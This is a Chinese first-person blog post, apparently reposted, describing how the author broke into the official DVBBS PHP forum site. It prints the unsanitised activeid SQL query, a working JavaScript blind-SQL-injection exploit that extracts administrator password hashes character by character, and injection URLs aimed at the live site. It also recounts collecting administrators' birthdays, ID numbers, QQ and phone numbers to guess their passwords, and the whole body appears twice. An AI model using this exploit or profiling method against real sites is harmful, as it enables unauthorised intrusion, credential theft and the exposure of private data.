入侵DVBBS php官网详细过程(图)
程序员文章站
2022-12-13 14:50:48
几 个月前,DVBBS php2.0暴了一个可以直接读出管理员密码的sql注入漏洞,当时这个漏洞出来的时候,我看的心痒,怎么还会有这么弱智的漏洞,DVBBS php2.0这套代码我还没仔细看过,于是... 08-10-08...
几 个月前,dvbbs php2.0暴了一个可以直接读出管理员密码的sql注入漏洞,当时这个漏洞出来的时候,我看的心痒,怎么还会有这么弱智的漏洞,dvbbs php2.0这套代码我还没仔细看过,于是5月中旬我down下来粗略看了下,接着我花了三天的时间,拿下p.dvbbs.net,即动网php的官方网 站,并得到了webshell。总的来说,这次入侵凭的是二分技术加一分运气。
一、 sql注入漏洞:
晚上检查了好久,终于在topicother.php中发现了一处sql注入漏洞,但是并不像前段时间暴的漏洞那么简单,因为不能把密码直接读出数据库并显示出来,这是个活动帖子的报名主函数,我简单搜索了下,1.0好像后来就增加了这个功能。好了,来看具体函数:
function postactive_main(){
……
$topicid = $globals['id'];
$activeid = trim($_get['activeid']);//activeid并没有过滤
$timemode = $_post['payment'];
$systemmode = trim($_post['contact']);
$message = trim($_post['message']);
$gettimemode = trim($_post['timemode']);
$getstarttime = trim($_post['starttime']);
$getendtime = trim($_post['endtime']);
$getexpiretime = trim($_post['expiretime']);
if($timemode ==0)
$costnum = 0;
else
$costnum = intval(trim($_post['payvalue']));
//直接带进来使用了
if( $query = $db->query("select u1.sex,u1.strength,u2.usersex from { $dv }active as u1,{ $dv }user as u2 where activeid={ $activeid }")){
$activeinfo =& $db->fetch_array($query);
if( !empty($activeinfo) ) {
$db->free_result($query);
}
}
if( $num = $db->query("select count(*) as num from { $dv }activeuser where activeid='".$activeid."'")){
$activenum = $db->fetch_array($num);
if( !empty($activenum) ) {
$db->free_result($num);
}
}
…
//如果查取的activeid不正确或者后面注入的条件不成立,则显示显示str1:对不起!本活动报名人数已满!
if($activenum['num']>=$activeinfo['strength']){
head(0,0,0,$arrnavmenu);
showmsg($lang['active_error.str1']);
exit;
}
//如果activeid正确(后面注入的条件也成立),但没有登陆,就显示str2:请登陆后操作!
if ($userid==0) {
head(0,0,0,$arrnavmenu);
showmsg($lang['active_error.str2']);
exit;
}
…
//如果activeid正确并且已经登陆了,递交的时候没有递交联系方式,则会显示str6这个错误:对不起联系方式不能为空或小于8个字符!
if (''==$systemmode||strlen($systemmode)
首先先确定有没有activeid为1的活动帖子,就是在论坛目录后加上
topicother.php?t=9&action=join&activeid=1
显示“对不起!本活动报名人数已满!”则有可能不存在,自己注册个号进去发个活动帖子先。
根 据上面解释,大家是否已经看出来该怎么注入啦,并不是什么都需要工具的,想当年access手工注入又不是没注入过,判断条件正确就返回正常,错误就不正 常显示;这里不也是同样的道理么,不管有没登陆,出错都显示:“对不起!本活动报名人数已满!”,如果判断条件正确,没有登陆的话显示:“请登陆后操 作!”,已经登陆了显示:“对不起联系方式不能为空或小于8个字符!”于是当晚我手动测试了一下官方,并成功获得了一个管理员的16位md5的密码。兴奋 的去睡觉,躺在床上却怎么也睡不着:怎么去更简单的利用呢?一边思考,一边入睡,睡着的时候天都亮了。
5个小时后,睡醒了继续搞,因为没有 开发那种application程序的经验,所以我没想去写个exp工具,但一直手工多麻烦啊,记得以前开发网站的时候用ajax去get或者post数 据并回显的,这里是不是也一样可以?于是自己尝试写,轻轻松松写出个单一判断md5某一位的ajax代码,可是在写循环的时候却出错了,后来flyh4t 上线丢给我一段代码,我参考了一下然后一个可以读任意dvbbs php站点管理员密码的基于页面的exploit code搞定了(列出主要代码):
function sendcall(i,j,url,w,p) {
if (p=="temp"){ p=url }
//后台密码、用户名、关联的前台用户名
switch(parseint(w)){
case 0:url = p "/**/and/**/ascii(mid(password," i ",1))=" j ")/**/";break;
case 1:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
case 2:url = p "/**/and/**/ascii(mid(adduser," i ",1))=" j ")/**/";break;
//前台密码、用户名
case 3:url = p "/**/and/**/ascii(mid(userpassword," i ",1))=" j ")/**/";break;
case 4:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
}
if (window.activexobject) {
xmlhttp = new activexobject("microsoft.xmlhttp");
} else if (window.xmlhttprequest) {
xmlhttp = new xmlhttprequest();
//解决ff中跨域问题
try{
netscape.security.privilegemanager.enableprivilege( "universalbrowserread ");
} catch (e) {
alert( "permission universalbrowserread denied. ");
}
}
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readystate == 4 && xmlhttp.status ==200) {
var str = xmlhttp.responsetext;
var md5hash=document.getelementbyid("md5hash");
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass = string.fromcharcode(j);
md5hash.innerhtml = pass;
j = 48;
i ;
}
else {
if(j == 59&&(parseint(w)==0||parseint(w)==3)) { j = 96; }
else { j ; }
}
if(pass.length >= 16) { alert("exploitation successfull!. admin md5 hash(or username): " pass); return true; }
sendcall(i,j,url,w,p);
}
}
xmlhttp.open('get', url, true);
xmlhttp.send(null);
}
工具不支持中文用户名,但支持字母 数字 常用符号组合。
接着就简单啦,先判断下官网后台的管理员人数:
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)
然后判断一下后台管理员id是从多少到多少:
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)
然 后可以根据存在的后台id用工具去暴密码啦,速度还蛮快的,一会我就成功获得了后台所有的md5 password,cmd5.com去跑了下,只能跑出一个,其他不是not found就是要收费。到前台转了下,发现前台可以看到的管理员只有几个,貌似有的后台管理员前台并不显示为管理员,不过我也用工具暴出前台管理员的密 码,留着备用,查了下,也只成功跑出了一个。
由于动网的前台与后台管理员之间有对应关系,因此不能用这个管理的前台密码加上那个管理员的后 台密码去登陆后台,研究了下代码跟数据库,后台表中的adduser这个字段就是相对应的前台密码。可是既然这样,我得到的信息就无法利用,那怎么去获得 一个后台权限呢,md5的存在让注入的光华变的暗淡了,怪不得当初那个漏洞那么简单的可以读密码那些大牛们都没把官方站点拿下,官方站不存在白痴管理员 啊…
又到下午了,还是没有进展,我在想是放弃还是该怎么继续,去126邮箱翻翻ph4nt0m的一些帖子,我突然想到个方法…
二、 社会工程学:
其 实这是让我洋洋得意的地方,我自我感觉无论什么技术,都没社会工程学来的让人心动,而且只要用用心,社会工程学就可以被演绎的淋漓尽致。但是这段让我非常 兴奋的经历,我还是不能多写,因为这涉及到官方多位管理员的隐私,我只是简单的入侵检测,并不想成为别有用心之人的参考。
简单了说一下:由于adduser是中文的话,我的工具暴不了,但我可以用语句猜测(把adduser十六进制处理下就ok了):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x............/**/and/**/id=..)
我用..代替省略掉十六进制用户名,后面的id也省略下。这样,我可以轻松的猜出后台某个id对应的前台用户名,于是我找了几个管理员作为突破口。
因 为我有前台管理员权限,于是我从前台找了下所有管理员、超级版主以及可以看到的动网团队的人员的信息,并收集归拢到一个txt文件中,然后我去百度跟谷歌 搜索这些管理员的用户名,搜集一些他们平时访问的站点以及留下的信息:生日、身份证号码、qq号码、电话号码、邮箱等等等,最后根据这些信息根据得到的 md5密码猜测可能存在的密码,终于比昏昏然茫茫然的开始好多了,实在不行的时候,我再跑到dvbbs的asp论坛去获取相关的信息,终于到最后一个下午 的努力没有白费,我在晚上拿下了dvbbs php官方网站的后台:
异常兴奋,我给flyh4t截了个图宣扬了下战果,然后跑到ph4nt0m发了个帖子告诉大家社会工程学的伟大(结果被众大牛牛们鄙视了…寒)
一、 sql注入漏洞:
晚上检查了好久,终于在topicother.php中发现了一处sql注入漏洞,但是并不像前段时间暴的漏洞那么简单,因为不能把密码直接读出数据库并显示出来,这是个活动帖子的报名主函数,我简单搜索了下,1.0好像后来就增加了这个功能。好了,来看具体函数:
function postactive_main(){
……
$topicid = $globals['id'];
$activeid = trim($_get['activeid']);//activeid并没有过滤
$timemode = $_post['payment'];
$systemmode = trim($_post['contact']);
$message = trim($_post['message']);
$gettimemode = trim($_post['timemode']);
$getstarttime = trim($_post['starttime']);
$getendtime = trim($_post['endtime']);
$getexpiretime = trim($_post['expiretime']);
if($timemode ==0)
$costnum = 0;
else
$costnum = intval(trim($_post['payvalue']));
//直接带进来使用了
if( $query = $db->query("select u1.sex,u1.strength,u2.usersex from { $dv }active as u1,{ $dv }user as u2 where activeid={ $activeid }")){
$activeinfo =& $db->fetch_array($query);
if( !empty($activeinfo) ) {
$db->free_result($query);
}
}
if( $num = $db->query("select count(*) as num from { $dv }activeuser where activeid='".$activeid."'")){
$activenum = $db->fetch_array($num);
if( !empty($activenum) ) {
$db->free_result($num);
}
}
…
//如果查取的activeid不正确或者后面注入的条件不成立,则显示显示str1:对不起!本活动报名人数已满!
if($activenum['num']>=$activeinfo['strength']){
head(0,0,0,$arrnavmenu);
showmsg($lang['active_error.str1']);
exit;
}
//如果activeid正确(后面注入的条件也成立),但没有登陆,就显示str2:请登陆后操作!
if ($userid==0) {
head(0,0,0,$arrnavmenu);
showmsg($lang['active_error.str2']);
exit;
}
…
//如果activeid正确并且已经登陆了,递交的时候没有递交联系方式,则会显示str6这个错误:对不起联系方式不能为空或小于8个字符!
if (''==$systemmode||strlen($systemmode)
首先先确定有没有activeid为1的活动帖子,就是在论坛目录后加上
topicother.php?t=9&action=join&activeid=1
显示“对不起!本活动报名人数已满!”则有可能不存在,自己注册个号进去发个活动帖子先。
根 据上面解释,大家是否已经看出来该怎么注入啦,并不是什么都需要工具的,想当年access手工注入又不是没注入过,判断条件正确就返回正常,错误就不正 常显示;这里不也是同样的道理么,不管有没登陆,出错都显示:“对不起!本活动报名人数已满!”,如果判断条件正确,没有登陆的话显示:“请登陆后操 作!”,已经登陆了显示:“对不起联系方式不能为空或小于8个字符!”于是当晚我手动测试了一下官方,并成功获得了一个管理员的16位md5的密码。兴奋 的去睡觉,躺在床上却怎么也睡不着:怎么去更简单的利用呢?一边思考,一边入睡,睡着的时候天都亮了。
5个小时后,睡醒了继续搞,因为没有 开发那种application程序的经验,所以我没想去写个exp工具,但一直手工多麻烦啊,记得以前开发网站的时候用ajax去get或者post数 据并回显的,这里是不是也一样可以?于是自己尝试写,轻轻松松写出个单一判断md5某一位的ajax代码,可是在写循环的时候却出错了,后来flyh4t 上线丢给我一段代码,我参考了一下然后一个可以读任意dvbbs php站点管理员密码的基于页面的exploit code搞定了(列出主要代码):
function sendcall(i,j,url,w,p) {
if (p=="temp"){ p=url }
//后台密码、用户名、关联的前台用户名
switch(parseint(w)){
case 0:url = p "/**/and/**/ascii(mid(password," i ",1))=" j ")/**/";break;
case 1:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
case 2:url = p "/**/and/**/ascii(mid(adduser," i ",1))=" j ")/**/";break;
//前台密码、用户名
case 3:url = p "/**/and/**/ascii(mid(userpassword," i ",1))=" j ")/**/";break;
case 4:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
}
if (window.activexobject) {
xmlhttp = new activexobject("microsoft.xmlhttp");
} else if (window.xmlhttprequest) {
xmlhttp = new xmlhttprequest();
//解决ff中跨域问题
try{
netscape.security.privilegemanager.enableprivilege( "universalbrowserread ");
} catch (e) {
alert( "permission universalbrowserread denied. ");
}
}
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readystate == 4 && xmlhttp.status ==200) {
var str = xmlhttp.responsetext;
var md5hash=document.getelementbyid("md5hash");
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass = string.fromcharcode(j);
md5hash.innerhtml = pass;
j = 48;
i ;
}
else {
if(j == 59&&(parseint(w)==0||parseint(w)==3)) { j = 96; }
else { j ; }
}
if(pass.length >= 16) { alert("exploitation successfull!. admin md5 hash(or username): " pass); return true; }
sendcall(i,j,url,w,p);
}
}
xmlhttp.open('get', url, true);
xmlhttp.send(null);
}
工具不支持中文用户名,但支持字母 数字 常用符号组合。
接着就简单啦,先判断下官网后台的管理员人数:
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)
然后判断一下后台管理员id是从多少到多少:
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)
然 后可以根据存在的后台id用工具去暴密码啦,速度还蛮快的,一会我就成功获得了后台所有的md5 password,cmd5.com去跑了下,只能跑出一个,其他不是not found就是要收费。到前台转了下,发现前台可以看到的管理员只有几个,貌似有的后台管理员前台并不显示为管理员,不过我也用工具暴出前台管理员的密 码,留着备用,查了下,也只成功跑出了一个。
由于动网的前台与后台管理员之间有对应关系,因此不能用这个管理的前台密码加上那个管理员的后 台密码去登陆后台,研究了下代码跟数据库,后台表中的adduser这个字段就是相对应的前台密码。可是既然这样,我得到的信息就无法利用,那怎么去获得 一个后台权限呢,md5的存在让注入的光华变的暗淡了,怪不得当初那个漏洞那么简单的可以读密码那些大牛们都没把官方站点拿下,官方站不存在白痴管理员 啊…
又到下午了,还是没有进展,我在想是放弃还是该怎么继续,去126邮箱翻翻ph4nt0m的一些帖子,我突然想到个方法…
二、 社会工程学:
其 实这是让我洋洋得意的地方,我自我感觉无论什么技术,都没社会工程学来的让人心动,而且只要用用心,社会工程学就可以被演绎的淋漓尽致。但是这段让我非常 兴奋的经历,我还是不能多写,因为这涉及到官方多位管理员的隐私,我只是简单的入侵检测,并不想成为别有用心之人的参考。
简单了说一下:由于adduser是中文的话,我的工具暴不了,但我可以用语句猜测(把adduser十六进制处理下就ok了):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x............/**/and/**/id=..)
我用..代替省略掉十六进制用户名,后面的id也省略下。这样,我可以轻松的猜出后台某个id对应的前台用户名,于是我找了几个管理员作为突破口。
因 为我有前台管理员权限,于是我从前台找了下所有管理员、超级版主以及可以看到的动网团队的人员的信息,并收集归拢到一个txt文件中,然后我去百度跟谷歌 搜索这些管理员的用户名,搜集一些他们平时访问的站点以及留下的信息:生日、身份证号码、qq号码、电话号码、邮箱等等等,最后根据这些信息根据得到的 md5密码猜测可能存在的密码,终于比昏昏然茫茫然的开始好多了,实在不行的时候,我再跑到dvbbs的asp论坛去获取相关的信息,终于到最后一个下午 的努力没有白费,我在晚上拿下了dvbbs php官方网站的后台:
异常兴奋,我给flyh4t截了个图宣扬了下战果,然后跑到ph4nt0m发了个帖子告诉大家社会工程学的伟大(结果被众大牛牛们鄙视了…寒)